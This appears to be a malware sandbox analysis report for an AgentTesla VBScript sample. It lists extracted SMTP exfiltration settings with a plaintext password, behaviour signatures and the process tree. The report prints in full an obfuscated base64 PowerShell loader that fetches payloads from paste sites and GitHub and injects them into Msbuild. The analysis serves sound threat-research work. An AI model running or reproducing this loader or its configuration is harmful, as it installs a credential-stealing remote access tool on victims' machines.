Analysis
- max time kernel
149s - max time network
121s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
15/04/2026, 07:56
General
- Target HT0-3673.vbs
- Size 17KB
- Sample260415-jsqvescs3z
- SHA256 3c6fd17b9f959fcb6cc932f5b9219588da2cb055eb38c35d6bf23c9a742df655
Malware Config
Extracted
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agenttesla
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Protocol
smtp
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Host
mail.loumage.com
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Port
587
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Username
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Password
Info$74852
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Email to
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HT0-3673.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBoAGEAcwB0AGUAYgAuAGkAbgAvAGkAaQA1AFAAZgBDAHoAOAAzAGEAVABjAEQAZwBLACcAKQAsACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAGYAeQAuAGEAcABwAC8AZQBLAGsAQQBnAE0AVgBNAC8AcgBhAHcAJwApACkADQAKAGkAZgAoACgAJABnAD0AZAAgACQAawApAC0AYQBuAGQAKAAkAHQAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABnACkAKQAtAG0AYQB0AGMAaAAnADwAPABTAFQAQQBSAFQAPgA+ACgALgAqAD8AKQA8ADwARQBOAEQAPgA+ACcAKQB7AA0ACgAgACAAJABnAGcAIAA9ACAAJwB0AHgAdAAuAG8AbwBkAGgAYQBpAG0ALwBuAGkAYQBtAC8AcwBkAGEAZQBoAC8AcwBmAGUAcgAvAG4AZQBoAHQAZQBf#AGEATQAvADEAMwA1AGMAaQBsAG8AYgByAGUAcAB5AEgALwBtAG8AYwAuAHQAbgBlAHQAbgBvAGMAcgBlAHMAdQBiAHUAaAB0AGkAZwAuAHcAYQByAC8ALwA6AHMAZwBzAGYAZgBzAGYAcwBkACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAAOAApAA0ACgAgACAAIAAgAGkAIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABNAGEAdABjAGgAZQBzAFsAMQBdACkAKQAgACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACAAJwByAHUAbgBzAHMAJwAgAEAAKAAkAGcAZwAsACAAJwAwACcALAAgACcAJwAsACAAJwBNAHMAYgB1AGkAbABkACcALAAgACcAMQAnACAALAAgACcAeAA4ADYAJwApAA0ACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwB8AHMAbwByAHQAIABDAFAAVQAgAC0AZABlAHMAYwB8AHMAZQBsAGUAYwB0ACAALQBmAGkAcgBzAHQAIAA1AHwAZgB0ACAATgBhAG0AZQAsAEMAUABVACAAfQANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAA';iex ([system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('f#','r') )));2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xsii40hl\xsii40hl.cmdline"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE63.tmp" "c:\Users\Admin\AppData\Local\Temp\xsii40hl\CSC478D906D1BED46D79FBF2B5BE1C61235.TMP"4⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
RESE63.tmp
__PSScriptPolicyTest_uw1bionr.1ty.ps1
xsii40hl.dll
CSC478D906D1BED46D79FBF2B5BE1C61235.TMP
xsii40hl.0.cs
xsii40hl.cmdline
memory/2832-26-0x0000025A1B130000-0x0000025A1B14A000-memory.dmp
memory/2832-25-0x0000025A026D0000-0x0000025A026D8000-memory.dmp
memory/2832-3-0x0000025A027E0000-0x0000025A02802000-memory.dmp
memory/2832-30-0x0000025A00940000-0x0000025A00C95000-memory.dmp
memory/2832-2-0x0000025A02760000-0x0000025A02770000-memory.dmp
memory/2832-31-0x0000025A00D80000-0x0000025A00D8C000-memory.dmp
memory/2936-32-0x0000000005210000-0x00000000057B4000-memory.dmp
memory/2936-27-0x0000000000040000-0x0000000000080000-memory.dmp
memory/2936-33-0x0000000004C60000-0x0000000004CC6000-memory.dmp
memory/2936-35-0x0000000005B00000-0x0000000005B92000-memory.dmp
memory/2936-36-0x0000000005AF0000-0x0000000005AFA000-memory.dmp
memory/2936-34-0x0000000005A10000-0x0000000005A60000-memory.dmp
memory/2936-38-0x0000000005A60000-0x0000000005AED000-memory.dmp
memory/2936-37-0x0000000000CD0000-0x0000000000CF5000-memory.dmp
memory/4712-1-0x0000023623C90000-0x0000023623C9C000-memory.dmp
memory/4712-0-0x0000023625460000-0x0000023625575000-memory.dmp
memory/5856-23-0x0000017760BD0000-0x0000017760BDC000-memory.dmp
memory/5876-20-0x0000022957310000-0x000002295731C000-memory.dmp